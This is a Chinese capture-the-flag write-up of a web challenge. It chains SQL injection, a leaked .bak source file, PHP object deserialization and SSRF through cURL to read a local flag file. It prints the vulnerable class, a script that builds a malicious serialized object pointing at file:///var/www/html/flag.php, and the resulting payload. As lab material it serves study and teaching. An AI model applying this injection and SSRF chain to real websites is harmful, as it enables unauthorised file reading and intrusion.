知识点:

  • 源码泄露
  • SQL注入
  • PHP反序列化
  • SSRF

解题步骤:

打开题目

页面.PNG

先注册看看,当在用户名加了单引号的时候,发现报错了

报错.PNG

加双引号没有报错

无语.PNG

还以为是二次注入,但是如果是单引号注入类型的话,也注册不上去

点击一下 username ,发现url存在参数

url有信息.PNG
而且发现可以切换到其他用户去

因为用户只有两个,当 ?no=3时,页面出现报错了

报错文件.PNG

报错信息还出现了路径,既然能引起报错,那就试试在这里进行sql注入

发现获取到字段数

字段数.PNG

接着获取数据库表,这里要用内联注释的方式绕过

数据库.PNG

获取到数据库表为 users,接着获取字段

表.PNG

爆 username和passwd的字段值

user.PNG

接着爆一下 data 的字段值

数组.PNG

发现是数组,而且头部也有反序列化的标志,查看一下有没有其他文件可以访问

dir.PNG

发现了 robots.txt 的存在

访问一下

文件.PNG

下载bak然后打开看看

  1. <?php
  2. class UserInfo
  3. {
  4. public $name = "";
  5. public $age = 0;
  6. public $blog = "";
  7. public function __construct($name, $age, $blog)
  8. {
  9. $this->name = $name;
  10. $this->age = (int)$age;
  11. $this->blog = $blog;
  12. }
  13. function get($url)
  14. {
  15. $ch = curl_init(); //创建一个新cURL资源
  16. curl_setopt($ch, CURLOPT_URL, $url); // 设置URL和相应的选项
  17. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //将curl_exec()获取的信息以文件流的形式返回,而不是直接输出
  18. $output = curl_exec($ch); // 抓取URL并把它传递给浏览器
  19. $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
  20. if($httpCode == 404) {
  21. return 404;
  22. }
  23. curl_close($ch); //关闭cURL资源,并且释放系统资源
  24. return $output;
  25. }
  26. public function getBlogContents ()
  27. {
  28. return $this->get($this->blog);
  29. }
  30. public function isValidBlog ()
  31. {
  32. $blog = $this->blog;
  33. return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
  34. }
  35. }

思路:

提交了一个no的参数,返回了用户信息这个页面,所以可以猜测服务器端时通过分析 no 的参数,然后进入到数据库查询信息然后返回到页面,而且之前sql注入的时候查询到的字段数是有4个的,分别是 users、passwd、data、no,但是没有注册时候的blog,而且这里也对blog进行严格的检验,就是不让我们在这里构造语句,思路就是要绕过这些限制构造出获取信息的语句

这里只有data是不在注册的时候的参数,而且sql注入到的信息data是有序列化后blog属性的值,那就是说blog地址的值是通过查询data字段得到其中的序列化信息去渲染这个页面,从而得到 user、passwd、blog的值

而且通过 function get($url) 的代码块可以看出,这里是初始化一个新的cURL会话并返回一个网页,而且public function getBlogContents () 这里可以调用curl去执行,所以利用getBlogContents调用的curl进行SSRF攻击

构造一个恶意对象

  1. <?php
  2. class UserInfo
  3. {
  4. public $name = "admin";
  5. public $age = 20;
  6. public $blog = "file:///var/www/html/flag.php";
  7. }
  8. $data = new UserInfo();
  9. echo serialize($data);
  10. ?>

得到:O:8:”UserInfo”:3:{s:4:”name”;s:5:”admin”;s:3:”age”;i:20;s:4:”blog”;s:29:”file:///var/www/html/flag.php”;}

写入成功.PNG

获得base64编码的flag

baseflag.PNG

解密得到flag

  1. <?php
  2. $flag = "flag{a56a8e34-6bad-4570-ae24-59ca98991182}";
  3. exit(0);